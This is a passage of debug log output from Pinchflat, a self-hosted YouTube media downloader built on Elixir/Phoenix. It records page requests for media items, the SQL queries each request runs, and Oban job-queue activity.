m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:02.150 [info] Sent 200 in 2ms 17:42:02.668 [info] GET /sources/1/media/1576241 17:42:02.668 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1576241", "source_id" => "1"} Pipelines: [:browser] 17:42:02.669 [debug] QUERY OK source="media_items" db=0.1ms idle=519.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1576241] 17:42:02.669 [debug] QUERY OK source="sources" db=0.1ms idle=519.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:42:02.762 [debug] QUERY OK source="tasks" db=93.3ms idle=519.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1576241] 17:42:03.235 [info] GET /sources/45/media/1577637 17:42:03.235 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577637", "source_id" => "45"} Pipelines: [:browser] 17:42:03.236 [debug] QUERY OK source="media_items" db=0.1ms idle=808.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577637] 17:42:03.236 [debug] QUERY OK source="tasks" db=0.1ms idle=567.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577637] 17:42:03.236 [debug] QUERY OK source="sources" db=0.1ms idle=566.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 17:42:03.236 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=473.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5251994] 17:42:03.236 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:03.236 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:03.237 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:03.237 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:03.277 [info] Sent 200 in 41ms 17:42:03.661 [info] GET /sources/6/media/1577890 17:42:03.661 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577890", "source_id" => "6"} Pipelines: [:browser] 17:42:03.661 [debug] QUERY OK source="media_items" db=0.1ms idle=424.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577890] 17:42:03.662 [debug] QUERY OK source="tasks" db=0.1ms idle=424.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577890] 17:42:03.662 [debug] QUERY OK source="sources" db=0.1ms idle=424.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:42:03.662 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=234.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5259007] 17:42:03.662 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:03.662 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:03.662 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:03.663 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:03.663 [info] Sent 200 in 2ms 17:42:04.163 [info] GET /sources/28/media/1577466 17:42:04.163 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577466", "source_id" => "28"} Pipelines: [:browser] 17:42:04.163 [debug] QUERY OK source="media_items" db=0.1ms idle=500.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577466] 17:42:04.163 [debug] QUERY OK source="tasks" db=0.1ms idle=501.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577466] 17:42:04.164 [debug] QUERY OK source="sources" db=0.2ms idle=501.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:42:04.204 [debug] QUERY OK source="oban_jobs" db=39.9ms idle=501.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5242020] 17:42:04.204 [debug] QUERY OK source="settings" db=0.0ms idle=40.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:04.204 [debug] QUERY OK source="settings" db=0.0ms idle=40.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:04.204 [debug] QUERY OK source="settings" db=0.0ms idle=40.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:04.205 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:04.205 [info] Sent 200 in 42ms 17:42:05.261 [debug] QUERY OK source="oban_jobs" db=2495.1ms idle=615.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5137651, 5137677, 5137743, 5137803, 5137863, 5137924, 5137984, 5138045, 5138105, 5138165, 5138225, 5138285, 5138345, 5138405, 5138465, 5138525, 5138585, 5138645, 5138705, 5138766, 5138826, 5138886, 5138946, 5139006, 5139066, 5139126, 5139186, 5139246, 5139306, 5139366, 5139426, 5139486, 5139546, 5139606, 5139666, 5139726, 5139786, 5139846, 5139906, 5139966, 5140026, 5140086, 5140147, 5140207, 5140267, 5140327, 5140387, 5140447, 5140507, 5140567, ...] 17:42:05.269 [debug] QUERY OK source="settings" db=0.1ms idle=1064.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:05.269 [debug] QUERY OK source="settings" db=0.0ms idle=1064.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:05.270 [debug] QUERY OK source="settings" db=0.0ms idle=1064.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:05.270 [debug] QUERY OK source="media_profiles" db=0.0ms idle=840.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:05.330 [info] Sent 200 in 2661ms 17:42:16.651 [info] {"source":"oban","duration":10189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:42:17.946 [info] GET /sources/1/media/1575033/edit 17:42:17.946 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1575033", "source_id" => "1"} Pipelines: [:browser] 17:42:17.947 [debug] QUERY OK source="media_items" db=0.9ms idle=1599.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1575033] 17:42:17.948 [debug] QUERY OK source="settings" db=0.5ms idle=1600.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:17.949 [debug] QUERY OK source="settings" db=0.7ms idle=1507.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:17.949 [debug] QUERY OK source="settings" db=0.0ms idle=1298.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:17.949 [info] Sent 200 in 3ms 17:42:18.307 [info] GET /sources/1/media/1577480 17:42:18.307 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577480", "source_id" => "1"} Pipelines: [:browser] 17:42:18.308 [debug] QUERY OK source="media_items" db=0.1ms idle=865.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577480] 17:42:18.308 [debug] QUERY OK source="tasks" db=0.0ms idle=360.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577480] 17:42:18.308 [debug] QUERY OK source="sources" db=0.1ms idle=359.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:42:18.331 [debug] QUERY OK source="oban_jobs" db=22.6ms idle=359.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5242043] 17:42:18.331 [debug] QUERY OK source="settings" db=0.0ms idle=381.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:18.331 [debug] QUERY OK source="settings" db=0.0ms idle=23.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:18.331 [debug] QUERY OK source="settings" db=0.0ms idle=23.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:18.332 [debug] QUERY OK source="media_profiles" db=0.0ms idle=23.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", 